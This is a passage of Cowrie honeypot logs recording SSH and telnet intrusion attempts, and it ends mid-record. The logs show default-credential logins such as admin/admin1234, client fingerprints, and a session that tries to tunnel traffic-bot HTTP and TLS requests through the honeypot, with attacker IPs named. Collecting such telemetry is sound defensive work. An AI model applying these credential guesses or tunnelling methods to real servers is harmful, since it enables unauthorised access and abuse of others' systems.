{"eventid":"cowrie.session.closed","duration":52.552144050598145,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:39.637501Z","src_ip":"128.199.8.54","session":"3f809573ac68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":56659,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eb86ab65a7d","protocol":"ssh","message":"New connection: 173.208.192.194:56659 (10.17.0.5:22) [session: 8eb86ab65a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:43.084787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:43.088873Z","src_ip":"173.208.192.194","session":"8eb86ab65a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:43.201567Z","src_ip":"173.208.192.194","session":"8eb86ab65a7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:43.848258Z","src_ip":"173.208.192.194","session":"8eb86ab65a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42760,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c5de05f4b0d","protocol":"telnet","message":"New connection: 128.199.8.54:42760 (159.203.135.109:23) [session: 5c5de05f4b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:57.938816Z"}
{"eventid":"cowrie.session.closed","duration":0.004619598388671875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:57.943290Z","src_ip":"128.199.8.54","session":"5c5de05f4b0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40570,"dst_ip":"159.203.135.109","dst_port":23,"session":"320e3ba52fe6","protocol":"telnet","message":"New connection: 128.199.8.54:40570 (159.203.135.109:23) [session: 320e3ba52fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:03.163116Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":38244,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a112d170a4b","protocol":"ssh","message":"New connection: 182.93.50.90:38244 (159.203.135.109:22) [session: 7a112d170a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:04.697785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:04.701494Z","src_ip":"182.93.50.90","session":"7a112d170a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:04.916355Z","src_ip":"182.93.50.90","session":"7a112d170a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alim","password":"alim","message":"login attempt [alim/alim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:05.815599Z","src_ip":"182.93.50.90","session":"7a112d170a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:07.032772Z","src_ip":"182.93.50.90","session":"7a112d170a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":57281,"dst_ip":"10.17.0.5","dst_port":22,"session":"f47dbb3fe48b","protocol":"ssh","message":"New connection: 173.208.192.194:57281 (10.17.0.5:22) [session: f47dbb3fe48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:12.882579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:12.886463Z","src_ip":"173.208.192.194","session":"f47dbb3fe48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:13.055115Z","src_ip":"173.208.192.194","session":"f47dbb3fe48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee4f06a081d2","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: ee4f06a081d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:13.714867Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:13.826138Z","src_ip":"77.90.185.16","session":"ee4f06a081d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:14.166323Z","src_ip":"173.208.192.194","session":"f47dbb3fe48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:14.862504Z","src_ip":"173.208.192.194","session":"f47dbb3fe48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56195,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8f9196fc8cf","protocol":"ssh","message":"New connection: 113.164.152.20:56195 (10.17.0.5:22) [session: c8f9196fc8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:16.005529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:16.013243Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:16.302294Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:17.577407Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:18.010498Z","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:18.129765Z","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.338063Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.2 Mobile/17B102 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=N21jZVgkQi9aRHF%2BJDZHMw%3D%3Dn0PpuN2IGjJwiib00HmE%2Fx%2FPjePzyC5Y9O%2FG5GaTNcjehM4uomg%2Fk64WMgcdeCjnbyBVn80nfifrrUInkWsBd7puLGoM8VVc4cOIvo0gSwEYcUVvnxo2hRlspXYiT4ODQoUVuqBD8obbYnKtfow0y8GBXkI8adFMtOX0NbOAQHy6DGuJlH6yQhjbuClNpjYrorNFJl7EQo6KnjNbBwzThNqhZBfPS%2BM9WDccUMPVJPuljgDk5wO7T%2BFx5ecSlIDp3BUfz0Sj6zk6jIhaFkrUX8KCYMjHXmcBC69xiWZG6z719GQvDyDjYFjLqLXTnT5gKykCoXpq63I1c7xvbyxn2EOhoqTn1b0lepJTVvaL4Kl80DBOdmmIflkxGLsJ43KNPVqVfOKwXht9zgNV6ktZZC%2Bzc%2Ff%2BOQfMd5IHJ9wWcumzdG1uQkVR29gyfDPuU30YJ9GIAL9FAXV5ofoiYB76Nq3zK4Uaj%2FnQITjd%2FZ%2F6xZYuUJxb7p79r%2BGovVeOUCD5VkJloy9mtueAybvs6ZjitArosxyzUQgjA7zr5BDXwzF1YS9XspddjKsQNhql5HF1yPenrEZcenIHArVdrPUlQhsYpv1YaQASthZJCOfhulcn%2FUXr4mInMCYBaTJ8ORZ4wWyVkTHCV0EfKPvFPMB8tnYhoVsflGyNxLWS4%2Fu0o0nSkPXyShiu2jAWsixj8ExdSRU2KfoICvmhD019MG2SK3snE60%2FBfMbP%2FVfTOQmBqx4FY7rdbiY48mISMS9SaRsH1RAH4OkUd3Bn5GarCZdY8vMcSEXeF9tbRQY%2B7FBcqlGeamV%2F1a5fNj0N3Y1vKmxqVPRcuBZRjiuhMCQ5OpaXfaOw9GfOeuEwuuZpSQf48309L%2F0j9qAu%2BWbdj6PdVNsNWGgwY0THnQsgR3r5YLAwd8WS6IWhzBm%2ByoQXZ88dNDhaRyC9304HIIqtCpys8KV29KjSjFOohkmD6VmL9hkLIPUfdq747LP4HGV1ZWRxqkbiX36hh42dbmEWTWbGj3aTwcmCk4kxHcX1IYj151eExDdkMpRLqlQJb7OcGDHOcnPGFFM5kf9gyImrFK7IMn8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.2 Mobile/17B102 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=N21jZVgkQi9aRHF%2BJDZHMw%3D%3Dn0PpuN2IGjJwiib00HmE%2Fx%2FPjePzyC5Y9O%2FG5GaTNcjehM4uomg%2Fk64WMgcdeCjnbyBVn80nfifrrUInkWsBd7puLGoM8VVc4cOIvo0gSwEYcUVvnxo2hRlspXYiT4ODQoUVuqBD8obbYnKtfow0y8GBXkI8adFMtOX0NbOAQHy6DGuJlH6yQhjbuClNpjYrorNFJl7EQo6KnjNbBwzThNqhZBfPS%2BM9WDccUMPVJPuljgDk5wO7T%2BFx5ecSlIDp3BUfz0Sj6zk6jIhaFkrUX8KCYMjHXmcBC69xiWZG6z719GQvDyDjYFjLqLXTnT5gKykCoXpq63I1c7xvbyxn2EOhoqTn1b0lepJTVvaL4Kl80DBOdmmIflkxGLsJ43KNPVqVfOKwXht9zgNV6ktZZC%2Bzc%2Ff%2BOQfMd5IHJ9wWcumzdG1uQkVR29gyfDPuU30YJ9GIAL9FAXV5ofoiYB76Nq3zK4Uaj%2FnQITjd%2FZ%2F6xZYuUJxb7p79r%2BGovVeOUCD5VkJloy9mtueAybvs6ZjitArosxyzUQgjA7zr5BDXwzF1YS9XspddjKsQNhql5HF1yPenrEZcenIHArVdrPUlQhsYpv1YaQASthZJCOfhulcn%2FUXr4mInMCYBaTJ8ORZ4wWyVkTHCV0EfKPvFPMB8tnYhoVsflGyNxLWS4%2Fu0o0nSkPXyShiu2jAWsixj8ExdSRU2KfoICvmhD019MG2SK3snE60%2FBfMbP%2FVfTOQmBqx4FY7rdbiY48mISMS9SaRsH1RAH4OkUd3Bn5GarCZdY8vMcSEXeF9tbRQY%2B7FBcqlGeamV%2F1a5fNj0N3Y1vKmxqVPRcuBZRjiuhMCQ5OpaXfaOw9GfOeuEwuuZpSQf48309L%2F0j9qAu%2BWbdj6PdVNsNWGgwY0THnQsgR3r5YLAwd8WS6IWhzBm%2ByoQXZ88dNDhaRyC9304HIIqtCpys8KV29KjSjFOohkmD6VmL9hkLIPUfdq747LP4HGV1ZWRxqkbiX36hh42dbmEWTWbGj3aTwcmCk4kxHcX1IYj151eExDdkMpRLqlQJb7OcGDHOcnPGFFM5kf9gyImrFK7IMn8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.340812Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.344014Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6\\xfeM>y&\\x86G$\\xd4*\\xc6\\xb2\\x97\\x96\\xb70\\xeaB\\x04\\xa6\\xd5a;\\xd6`g\\x18\\xa0ig\\xa1 \\xdf\\x83\\xd3`\\x84\\xb4\\x00\\xfb\\x97\\x94\\x81\\x06\\x07\\n4j\\xe6t\\x1f\\xfc\\xb3\\xb1u\\x14\\x04\\x8dj*\\xc7J\\xfc\\xcb\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa9OI\\x1b0\\x0c\\r~\\xafo\\x00\"@i\\xb5.aG\\x0e^Av\\x98\\xf1\\x92]Z\\xe8O@\\xcc\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6\\xfeM>y&\\x86G$\\xd4*\\xc6\\xb2\\x97\\x96\\xb70\\xeaB\\x04\\xa6\\xd5a;\\xd6`g\\x18\\xa0ig\\xa1 \\xdf\\x83\\xd3`\\x84\\xb4\\x00\\xfb\\x97\\x94\\x81\\x06\\x07\\n4j\\xe6t\\x1f\\xfc\\xb3\\xb1u\\x14\\x04\\x8dj*\\xc7J\\xfc\\xcb\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 